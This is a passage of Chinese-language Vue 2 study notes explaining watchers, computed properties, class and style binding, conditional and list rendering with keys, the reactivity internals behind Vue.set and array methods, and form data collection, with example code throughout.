23 ##### Vue监测数据变化 vue默认是可以监测到data中多级数据的变化的!!!
1
vm.numbers.b = 999
证据:上述语句中,b的变化可以展示到页面上。 24 但是vue为程序员提供的监视属性watch,默认是不能监测到data中多级数据的变化的 ##### 总结 * Vue中的watch默认不检测对象内部值的改变(一层)(默认不支持是因为效率问题) * 配置`deep:true`可以监测对象内部值改变(多层) * Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!!! * 使用watch时根据数据的具体结构,决定是否采用深度监视 #### watch简写 简写要求:当配置项中只有handler,没有immediate、deep等配置项时。 未简写
1
2
3
4
5
6
7
8
watch:{
isHot:{
// immediate:true,
handler(newValue,oldValue){
console.log('isHot改变了',newValue,oldValue);
}
}
}
简写一
1
2
3
4
5
watch:{
isHot(newValue,oldValue) {
console.log('isHot改变了',newValue,oldValue);
}
}
未简写
1
2
3
4
vm.$watch('isHot',{
handler(newValue,oldValue){
console.log('isHot改变了',newValue,oldValue);
})
简写二
1
2
3
vm.$watch('isHot',function(newValue,oldValue){
console.log('isHot改变了',newValue,oldValue);
})
注:不要使用箭头函数!!!this指向会出问题。 ### 1.17 对比watch和computed #### 姓名案例对比 watch实现姓名案例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<body>
<!--准备一个容器-->
<br /><br />
<br /><br />
<div id="root">
姓: <input type="text" v-model="firstName"><br /><br />
<!--注意:页面上的输入要影响数据本身的变化,应该使用v-model-->
名: <input type="text" v-model="lastName"><br /><br />
姓名: <span>{{fullName}}</span>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。

const vm = new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三',
fullName: '张-三'
},
watch: {
firstName(newValue){
this.fullName = newValue + '-' + this.lastName;
},
lastName(newValue){
this.fullName = this.firstName + '-' + newValue;
}
}
})
</script>
对比watch实现与computed实现: ![image-20210901163702676](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210901163702676.png) watch computed 虽然使用计算属性更加简单,但实际上二者各有千秋。 #### 只能用watch案例 要求:延迟反馈,当firstName或lastName变化时,fullName迟于firstName或lastName1秒后变化 25 watch实现: image-20210901165032361 computed**无法实现**
1
2
3
4
5
6
7
computed: {
fullName(){
setTimeout(()=>{
return this.firstName + '-' + this.lastName;
},1000)
}
}
原因:return值被交给了setTimeout函数,但是fullName没有了返回值。 computed中不能开启异步任务维护数据,但是watch却可以,因为watch不是靠返回值。 #### 易错易混 image-20210901170243097 红色圈出部分函数不是由Vue管理的。定时器是在由Vue管理的fullName函数中开启的,但是定时器所指定的回调,是不受Vue控制的,定时器由定时器管理模块控制,定时器到点由JS引擎调用。即:定时器到点,不是由Vue调用的红圈圈出部分函数。 此处定时器到点,JS调用红圈处函数,由于是箭头函数,没有自己的this,于是向外部寻找,就找到了firstName的this,而firstName是由Vue管理的普通函数。 #### 总结 * computed与watch之间的区别: * computed能完成的功能,watch都可以完成 * watch能完成的功能,computed不一定能完成,例如watch可以进行异步操作 * 两个重要的小原则: * 所有被Vue管理的函数,最好写成普通函数,这样this指向的才是vm或组件实例对象 * 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数、promise回调函数等),最好写成箭头函数,这样this指向的才是vm或组件实例对象 ### 1.18 绑定样式 #### 绑定class样式 思想:把动态数据交给Vue管理 效果要求,点击相关区域,class样式发生变化 26
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.basic {
width: 400px;
height: 100px;
border: 1px solid black;
}

.happy {
border: 4px solid red;
;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg, yellow, pink, orange, yellow);
}

.sad {
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}

.normal {
background-color: skyblue;
}

.mk1 {
background-color: yellowgreen;
}

.mk2 {
font-size: 30px;
text-shadow: 2px 2px 10px red;
}

.mk3 {
border-radius: 20px;
}
##### 字符串写法 适用于:样式的类名不太确定,需要动态指定。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<div id="root">
<!-- 绑定class样式:字符串写法 -->
<div class="basic" :class="mood" @click="changeMood">{{site}}</div>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el: '#root',
data: {
site: 'miketaylorjuly123.cn',
mood: 'normal'
},
methods: {
changeMood() {
this.mood = 'happy';
}
}
})
</script>
要求:点击区域后,随机选择一种样式。
1
2
3
4
5
6
7
methods: {
changeMood() {
const arr = ['happy', 'sad', 'normal'];
// Math.floor(Math.random()*3); //随机生成[0,1的小数),随后floor向下取整
this.mood = arr[Math.floor(Math.random() * 3)];
}
}
##### 数组写法 适用于:要绑定的样式个数不确定,名字也不确定时。 image-20210901202331949 image-20210901202353829 27 数组中的样式可以动态删除(shift可以删除数组首个元素),也可以动态添加(push可以向数组末尾添加元素) ##### 对象写法 适用于要绑定的样式个数确定,名称也确定,但要动态决定是否使用的情况。 image-20210901203229012 #### 绑定style样式 ##### 对象写法 image-20210901204423860 代码美化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<body>
<!--准备一个容器-->
<div id="root">
<div class="basic" :style="styleObj">{{site}}</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
site: 'miketaylorjuly123.cn',
styleObj:{
fontSize: '40px'
}
}
})
</script>
指定style的对象中,原来使用`-`连接的属性名,使用驼峰命名法。 ##### 数组写法 本质上还是对象写法,只不过使用数组包含了多个对象而已。 写法一:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<body>
<!--准备一个容器-->
<div id="root">
<div class="basic" :style="[styleObj,styleObj2]">{{site}}</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
site: 'miketaylorjuly123.cn',
styleObj:{
fontSize: '40px'
},
styleObj2:{
backgroundColor: '#8080ff',
color: 'cyan'
}
}
})
</script>
写法二
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
new Vue({
el: '#root',
data: {
site: 'miketaylorjuly123.cn',
styleArr: [
{
fontSize: '40px'
},
{
backgroundColor: '#8080ff',
color: 'cyan'
}
]
}
})
#### 总结 * class样式: * 写法:class="xxx",xxx可以是字符串、对象、数组 * 字符串写法适用于:类名不确定,要动态获取 * 数组写法适用于:要绑定多个样式,个数不确定,名字也不确定 * 对象写法适用于:要绑定多个样式,个数确定,名字也确定,只是不确定是否使用的情况。 * style样式: * :style = "fontSize: xxx",其中xxx是动态值 * :style="[a,b]",其中a,b是样式对象 ### 1.19 Vue中的条件渲染 #### v-show
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<body>
<!--准备一个容器-->
<div id="root">
<div v-show="a">miketaylorjuly123.cn</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
a: false
}
})
</script>
使用v-show后,不展示的DOM元素未被移除,仅仅是使用样式隐藏了该DOM结构,底层实现是`display:none;` image-20210901211001627 v-show的缺点:不能设置显示隐藏的过渡效果。 #### v-if
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<body>
<!--准备一个容器-->
<div id="root">
<div v-if="a">miketaylorjuly123.cn</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
a: false
}
})
</script>
将该不展示的DOM元素直接移除。 image-20210901211258366 除开v-if,还有:v-else-if、v-else(后面不用带表达式,会自动默认执行),可以配合v-if使用,和JS中使用方式类似,但是要求逻辑结构不能被打断。
1
2
3
<div v-if="xxx">???</div>
<div v-else-if="xxx">???</div>
<div v-else>???</div>
在逻辑中有其他节点,逻辑会被打断,例如:
1
2
3
4
<div v-if="xxx">???</div>
<div>@@@</div>
<div v-else-if="xxx">???</div>
<div v-else>???</div>
控制台有如下报错: image-20210901213615139 注意区分:
1
2
3
<div v-if="n%3 ===1">Angular</div>
<div v-else-if="n%3 ===1">React</div>
<div v-else-if="n%3 ===0">Vue</div>
1
2
3
<div v-if="n%3 ===1">Angular</div>
<div v-if="n%3 ===1">React</div>
<div v-if="n%3 ===0">Vue</div>
注意:使用v-if时,元素可能无法获取到,而使用v-show一定可以获取到。 #### 简单案例 效果 28 如果节点变化很频繁,最好使用v-show,因为v-show代表节点仍然存在,vue只是动态控制隐藏和显示;v-if效率较低,变化频率低时使用。 ##### v-show实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<!--准备一个容器-->
<div id="root">
<div>miketaylorjuly123.cn</div>
<h2>当前的n值:{{n}}</h2>
<button @click="n++">点击n++</button>

<div v-show="n%3 ===1">Angular</div>
<div v-show="n%3 ===2">React</div>
<div v-show="n%3 ===0">Vue</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
n:0
}
})
</script>
##### v-if实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<!--准备一个容器-->
<div id="root">
<div>miketaylorjuly123.cn</div>
<h2>当前的n值:{{n}}</h2>
<button @click="n++">点击n++</button>

<div v-if="n%3 ===1">Angular</div>
<div v-if="n%3 ===2">React</div>
<div v-if="n%3 ===0">Vue</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
n:0
}
})
</script>
#### template template就是模板的意思,使用它的好处是不会影响页面结构。 template只能和`v-if`配合使用,不能和v-show配合使用。
1
2
3
4
5
6
<!--v-if与template配合使用-->
<template v-if="n === 1 ">
<h2>miketaylorjuly123.cn</h2>
<h2>张加林</h2>
<h2>20岁</h2>
</template>
### 1.20 列表渲染 #### 遍历数组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<body>
<!--准备一个容器-->
<div id="root">
<ul>
<li v-for="p in persons">{{p}}</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
persons: [{
id: '001',
name: '张三',
age: 18
}, {
id: '002',
name: '李四',
age: 19
}, {
id: '001',
name: '王五',
age: 20
}]
}
})
</script>
image-20210902092109028
1
2
3
<ul>
<li v-for="p in persons">{{p.name}}--{{p.age}}</li>
</ul>
image-20210902092152583
1
2
3
4
5
6
7
<ul>
<li v-for="(a,b,c) in persons" :key="a.id">
<!--a,b in persons也可以,但是最好加()-->
<!--(a,b) of persons也支持-->
{{a}}---------{{b}}---------{{c}}
</li>
</ul>
效果: image-20210902092933923 这里,a是数组中的一项,b是数组索引值 #### 遍历对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<body>
<!--准备一个容器-->
<div id="root">
<ul>
<li v-for="(value,key) in car">
{{value}} ---------- {{key}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data:{
car:{
name: '迈巴赫',
price: '800W',
color: '深蓝'
}
}
})
</script>
image-20210902093739811 #### 遍历字符串 不常用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<body>
<!--准备一个容器-->
<div id="root">
<ul>
<li v-for="(char,index) in str">
{{char}}----------{{index}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
str: 'miketaylorjuly123.cn'
}
})
</script>
image-20210902094009045 #### 遍历指定次数 不常用
1
2
3
4
5
6
7
8
9
10
<body>
<!--准备一个容器-->
<div id="root">
<ul>
<li v-for="(number,index) in 6">
{{number}}-------{{index}}
</li>
</ul>
</div>
</body>
image-20210902094412106 #### key的作用与原理
1
2
3
4
5
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p}}-------{{p.age}}
</li>
</ul>
image-20210902095144741 vue将它转换为真实DOM时,将key征用,不在真实DOM上展示。下面验证:
1
2
3
4
5
<ul>
<li v-for="(p,index) in persons" :a="p.id">
{{p}}-------{{p.age}}
</li>
</ul>
image-20210902095509817 ##### 出错案例 29
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<body>
<!--准备一个容器-->
<div id="root">
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}}-{{p.age}} <input type="text">
</li>
</ul>
<button @click.once="add">添加人员</button>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
persons: [{
id: '001',
name: '张三',
age: 18
}, {
id: '002',
name: '李四',
age: 19
}, {
id: '003',
name: '王五',
age: 20
}]
},
methods:{
add(){
const p = {
id:"004",
name:'张加林',
age:20
};
this.persons.unshift(p);
}
},
})
</script>
改正: image-20210902100234674 30 | key | T/F | | ----- | ---- | | index | F | | none | F | | id | T | 注:v-for遍历列表,没有写key,Vue默认将遍历时的索引值自动作为key。 ##### 原理详解 对数据进行了如上破坏顺序的操作,那么key就可能引发上述问题。 对比的是虚拟DOM,输入框中输入的临时数据在真实DOM中,所以比对时只是考虑DOM节点是否一致。 对比结果为不同时,无法复用,将新的DOM重新转为真实DOM节点。 对比结果相同,DOM节点复用。 ![image-20210902101929970](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210902101929970.png) ![image-20210902102252854](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210902102252854.png) ![image-20211213153932554](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20211213153932554.png) ##### 面试题 react、vue中的key有什么作用?(key的内部原理) * 虚拟DOM的作用: * key是虚拟DOM对象的标记,当数据发生变化,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下: * 旧虚拟DOM中未找到与新虚拟DOM相同的key: * 若虚拟DOM中内容没变,直接使用之前的真实DOM * 若虚拟DOM中的内容变了,则生成新的真实DOM,随后替换掉页面之前的真实DOM * 旧虚拟DOM中未找到与新虚拟DOM相同的key * 创建新的真实DOM,随后渲染到页面 用index作为key可能引发的问题: * 如果对数据进行:逆序添加、逆序删除等破坏顺序等操作: * 会产生没有必要的真实DOM的更新==> 界面有问题 开发中如何选择key? * 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值 * 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表展示,使用index作为key是没有任何问题的。 ### 1.21 列表过滤 #### 效果 31 #### 回顾JS数组知识 ##### indexOf() ![image-20210902151923250](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210902151923250.png) * **注意:** * indexOf() 方法对大小写敏感! * 如果要检索的字符串值没有出现,则该方法返回 -1。 * 当indexOf用于匹配空字符串时:image-20210902154649851,即:任何字符串使用indexOf与空字符串进行匹配时,都会返回0,即匹配成功。 ##### fliter() ![image-20210902151754774](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210902151754774.png) filter() 方法创建一个新的数组,新数组中的元素是通过检查指定数组中符合条件的所有元素。 * **注意:** * filter() 不会对空数组进行检测。 * filter() 不会改变原始数组。 ##### sort() * sort() 方法用于对数组的元素进行排序。 * 排序顺序可以是字母或数字,并按升序或降序。 * 默认排序顺序为按字母升序。 * **注意:**当数字是按字母顺序排列时"40"将排在"5"前面。 * 使用数字排序,你必须通过一个函数作为参数来调用。 * 函数指定数字是按照升序还是降序排列。 * **注意:** 这种方法会改变原始数组! image-20210902161945982 #### 侦听属性实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<body>
<!--准备一个容器-->
<div id="root">
<input type="text" v-model="keywords" placeholder="输入关键词">
<ul>
<li v-for="(p,index) in filpersons" :key="index">
{{p.name}}-----{{p.age}}---------{{p.gender}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
keywords: '',
persons: [
{ id: '001', name: '马冬梅', age: 20, gender: '女' },
{ id: '002', name: '周冬雨', age: 28, gender: '女' },
{ id: '003', name: '周杰伦', age: 40, gender: '男' },
{ id: '004', name: '温兆伦', age: 50, gender: '男' }],
filpersons: []
},
watch: {
keywords: {
handler(newValue) {
immediate: true;
this.filpersons = this.persons.filter((p) => {
// 函数体
// return 过滤条件
console.log(newValue);
return p.name.indexOf(newValue) !== -1;
});
}
}
}
})
</script>
小技巧:如何在vscode中实现注释可折叠 image-20210902155059438 #### 计算属性实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<body>
<!--准备一个容器-->
<div id="root">
<input type="text" v-model="keywords" placeholder="输入关键词">
<ul>
<li v-for="(p,index) in filpersons" :key="index">
{{p.name}}-----{{p.age}}---------{{p.gender}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
keywords: '',
persons: [
{ id: '001', name: '马冬梅', age: 20, gender: '女' },
{ id: '002', name: '周冬雨', age: 28, gender: '女' },
{ id: '003', name: '周杰伦', age: 40, gender: '男' },
{ id: '004', name: '温兆伦', age: 50, gender: '男' }],
},
computed: {
filpersons() {
return this.persons.filter((p) => {
console.log(this.keywords);
return p.name.indexOf(this.keywords) !== -1;
});
}
}
})
</script>
### 1.22 列表排序 案例效果: ![32](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/32.gif) 代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<body>
<!--准备一个容器-->
<div id="root">
<input type="text" v-model="keywords" placeholder="输入关键词">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) in filpersons" :key="p.id">
{{p.name}}-----{{p.age}}---------{{p.gender}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
keywords: '',
sortType: '', // 0-原顺序,1-降序,2-升序
persons: [
{ id: '001', name: '马冬梅', age: 34, gender: '女' },
{ id: '002', name: '周冬雨', age: 28, gender: '女' },
{ id: '003', name: '周杰伦', age: 40, gender: '男' },
{ id: '004', name: '温兆伦', age: 50, gender: '男' }],
},
computed: {
filpersons() {
const arr = this.persons.filter((p) => {
console.log(this.keywords);
return p.name.indexOf(this.keywords) !== -1;
});
// 判断是否需要排序
if (this.sortType) {
arr.sort((p1, p2) => {
// 这里p1、p2是数组中的元素——对象
return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age;
})
}
return arr;
}
}
})
</script>
注意:当sortType发生变化时由于filpersons是计算属性,filpersons也会跟着变化。 ### 1.23 Vue监测数据改变原理 #### 更新时的一个问题 ##### 没有问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<body>
<!--准备一个容器-->
<div id="root">
<button @click="updateMei">更新马冬梅</button>
<ul>
<li v-for="(p,index) in persons" :key="index">
{{p.name}}-----{{p.age}}---------{{p.gender}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
persons: [
{ id: '001', name: '马冬梅', age: 34, gender: '女' },
{ id: '002', name: '周冬雨', age: 28, gender: '女' },
{ id: '003', name: '周杰伦', age: 40, gender: '男' },
{ id: '004', name: '温兆伦', age: 50, gender: '男' }],
},
methods:{
updateMei(){
this.persons[0].name = '马老师'; // 奏效
this.persons[0].age=50; // 奏效
this.persons[0].gender = '男'; // 奏效
}
}
})
</script>
33 ##### 出现问题 直接使用对象赋值更改数据时,vue无法监测信息修改,但是信息已经更改了。 image-20210902165327793 34 #### Vue监测对象数据原理 ##### 回顾数据代理 image-20210902215804912 ![image-20210902221205434](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210902221205434.png) ##### 模拟数据监测 ###### 错误代码分析 回顾setInterval() image-20210902222011789 错误代码一
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
let data = {
name: '张加林',
site: 'miketaylorjuly123.cn'
};
let tmp = '张加林';
setInterval(()=>{
if(data.name !== tmp){
tmp = data.name
console.log('name被修改');
}
},100)
// 定时器开死,不可能这样实现
</script>
错误代码二 image-20210902222607957 此时的name,既无法读取,也无法修改,报错:栈溢出。 image-20210902223027051 原因:读取或修改name时,出现了死循环。以读取为例,当读取name时,需要调用getter,而return时又需要读取name,不断迭代,产生了死循环,setter也同理。 ###### 正确设计思路(重难点) image-20210902223626431
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<script>
let data = {
name: '张加林',
site: 'miketaylorjuly123.cn'
};
// 创建一个监视的实例对象,用于监视data中属性的变化
const obs = new Observer(data);
console.log(obs);
// 准备一个vm实例对象
let vm = {};
vm._data = data = obs;

// 能接收一个对象为参数,创建一个监视的实例对象
function Observer(obj) {
// 汇总对象中所有的属性,形成一个数组
const keys = Object.keys(obj);
// 遍历
keys.forEach(((k)=>{
Object.defineProperty(this,k,{
get(){
return obj[k];
},
set(val){
console.log(`${k}被更改了,接下来将解析模板,生成虚拟DOM,……`);
obj[k] = val;
}
})
}))
}
</script>
image-20210902224608449 此处this是Observer的实例对象。 下面是代码效果: image-20210902225104884 当然,真正的Vue框架源代码复杂得多,功能也更加强大多元。 此处代码的缺憾: image-20210902225457578 image-20210902225438442 此处b没有了getter和setter,因为只考虑了处理了一层。 Vue中: image-20210902225647131 image-20210902225718165 哪怕是在数组中,也能找到对象。 image-20210902230204746 image-20210902230502197 Vue底层使用了递归了实现处理的逻辑,可以无限向内查找并处理,只要它是对象均能处理后添加getter和setter。 #### Vue.set()方法 需求:给student添加一个新的属性gender。 * 注意: image-20210903090501245 这样并不会报错,虽然student.age不存在。 * 读取一个对象中不存在的属性值时,返回的是underfined所以不会报错。而underfined值不会被展示到页面上。 * a不存在,读取a--------报错 * a存在,b不存在,读取b--------不报错 错误方法一 image-20210903092148463 错误方法二
1
vm.gender = '男'
原因:错得更加离谱,直接给vm添加属性gender,对数据代理机制不了解,因为gender属性会直接出现在vm实例上,本质上是因为vue先从data读取到gender,然后进行了数据代理,最后才会出现在vm实例上,直接添加属性值,相当于没有数据代理的步骤,不可能会出现getter和setter。 正解 image-20210903093052198 image-20210903093827828 实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
collage:'UESTC',
student: {
name: '张加林',
site: 'miketaylorjuly123.cn',
age:20,
friends: [
{name:'jerry',age:20},
{name:'mike',age:21},
{name:'tony',age:30}
]
}
},
methods:{
addGender(){
// Vue.set(this.student,'gender','男');
this.$set(this.student,'gender','男');
}
}
})
</script>
35 ##### 局限性 ![image-20210903100546254](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210903100546254.png) 说明Vue.set()只能给Vue中的某一个对象添加属性,而不能给data/Vue实例添加属性。 #### Vue监测数组数据原理 image-20210903113657299 没有为数组服务的getter和setter,所以当你按照数组索引修改hobby数组时,就会出现数据被更改,Vue未监测到的情况,下面是效果: 36 数组中每一个元素不是靠setter和getter来实现监视的。 Vue能监测到数组被修改的修改数组方法: * push * pop * shift * unshift * splice:指定位置插入元素,或删除元素,或替换指定位置的某个元素 * sort:排序 * reverse:反转数组 image-20210903114753915 解决更新时问题:
1
this.persons.splice(0,1,{id:'001',name:'马老师',gender:'男'})
Vue如何监测到调用了push/pop/shift/unshift:**包装技术** Vue上调用的上述七个方法已经不是原来`Array.prototype`上的方法了。 image-20210903115708584 image-20210903120147295 hobby数组被Vue管理,Vue中的push不再是正常原型上的push。 image-20210903120358621 注意:由于 JavaScript 的限制,Vue **不能检测**数组和对象的变化。 第二种能被Vue监测到的修改数组的方法:使用Vue.set()方法 image-20210903120641801 #### 总结 image-20210903164519252
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<body>
<!--准备一个容器-->
<div id="root">
<h2>学生信息</h2>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3><button @click="student.age++">年龄++</button>
<h2 v-if="student.gender">性别:{{student.gender}}</h2>
<button @click="addGender">添加性别,默认为男</button>
<button @click="student.gender = '未知'">修改性别</button>
<h2>爱好</h2>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
</ul>
<button @click="addHobby">添加爱好</button>
<button @click="updateHobby">更新爱好</button>
<button @click="removeHobby">过滤爱好</button>

<ul>
<li v-for="f,index in student.friends" :key="index">{{f.name}}------{{f.age}}</li>
</ul>
<button @click="addFridens">添加朋友</button>
<button @click="updateFriends">修改朋友</button>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
collage: 'UESTC',
student: {
name: '张加林',
site: 'miketaylorjuly123.cn',
age: 20,
friends: [
{ name: 'jerry', age: 20 },
{ name: 'mike', age: 21 },
{ name: 'tony', age: 30 }
],
hobby:['打游戏','看番','睡觉']
}
},
methods: {
addGender() {
// Vue.set(this.student,'gender','男');
this.$set(this.student, 'gender', '男');
},
addFridens(){
this.student.friends.push({name:'wzith',age:12})
},
updateFriends(){
this.student.friends[0].name = '张三'; //注意:这是对象,有setter和getter
this.student.friends[0].age = 13;
},
addHobby(){
this.student.hobby.push('吃甜品')
},
updateHobby(){
this.student.hobby.splice(0,1,'看美剧')
// Vue.set(this.student.hobby,0,'看美剧');
},
removeHobby(){
this.student.hobby = this.student.hobby.filter((h)=>{
return h !== '打游戏'
})
}
}
})
</script>
* Vue会监视data中所有层次的数据 * 如何监视对象中的数据? * 通过setter实现监视,且要在new Vue时就传入要检测的数据 * 对象中后追加的属性,Vue默认不做响应式处理 * 如需要给后添加的属性做响应式,请使用如下API: * `Vue.set(target,propertyName/index,value)` 或 `vm.$set(target,propertyName/index,value)` * 如何监测数组中的数据? * 通过包裹数据更新元素的方法实现,本质就是对数组进行更新 * 重新解析模板,进而更新页面 * 在Vue修改数组中的某个元素一定要使用如下方法: * 使用这些API: * `push()` * `pop()` * `shift()` * `unshift()` * `reverse()` * `sort()` * `splice()` * `Vue.set()` 或 `vm.$set()` * 特别注意:`Vue.set()`和`vm.$set()`不能给vm或vm的根数据对象添加数据 ##### 数据劫持 ![image-20210903165954197](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210903165954197.png) 数据劫持和数据代理的原理都是Object.defineProperty()方法。 ### 1.24 收集表单数据 ##### 表单案例 v-model默认收集输入框的value值。 * 多选框 image-20210903192439735 37 不给标签配置value,那么默认收集的是标签的checked值(选中与否 ,true / false),而v-model是双向绑定,hobby变为true后,其他多选框的checked变为true。 image-20210903192706429 给多选框绑定value后,问题仍然无法解决。 因为hobby的初始值可以影响着v-model收集回来的数据,换成数组即可(`hobby:[]`) 注意:点击提交后,会引起表单提交,默认会跳转页面,可以绑定一个点击事件,阻止默认行为(`prevent`),或:image-20210903194121968 * 收集数据后的传输: * (不推荐) image-20210903194938488
1
{"account":"111","password":"","gender":"female","hobby":["game"],"city":"ShenZhen","other":"111","agree":true}
* 推荐: image-20210903195152267 ##### 完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<body>
<!--准备一个容器-->
<div id="root">
<form @submit.prevent="demo">
<h2>输入框</h2>
<label for="account">账号:<input type="text" id="account" v-model="userInfo.account"></label><br />
<label for="password">密码:<input type="password" id="password" v-model="userInfo.password"></label><br />
年龄:<input type="text" v-model.number="userInfo.age">
<h2>单选框</h2>
性别:
<!-- radio要求亲自配置value -->
男<input type="radio" name="gender" v-model="userInfo.gender" value="male">
女<input type="radio" name="gender" v-model="userInfo.gender" value="female"><br />
<h2>多选框</h2>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃甜品<input type="checkbox" v-model="userInfo.hobby" value="sweet"> <br />
<h2>下拉框</h2>
所属校区:
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="BeiJing">北京</option>
<option value="ShangHai">上海</option>
<option value="ShenZhen">深圳</option>
<option value="GuangZhou">广州</option>
<br /><br />
</select>
<h2>其他信息</h2>
<textarea v-model.lazy="userInfo.other"></textarea>
<br />
<input type="checkbox" v-model="userInfo.agree">
阅读并接受<a href="miketaylorjuly123.cn">《用户协议》</a>
<br />
<button>提交</button>

</form>
</div>

</body>
<script>
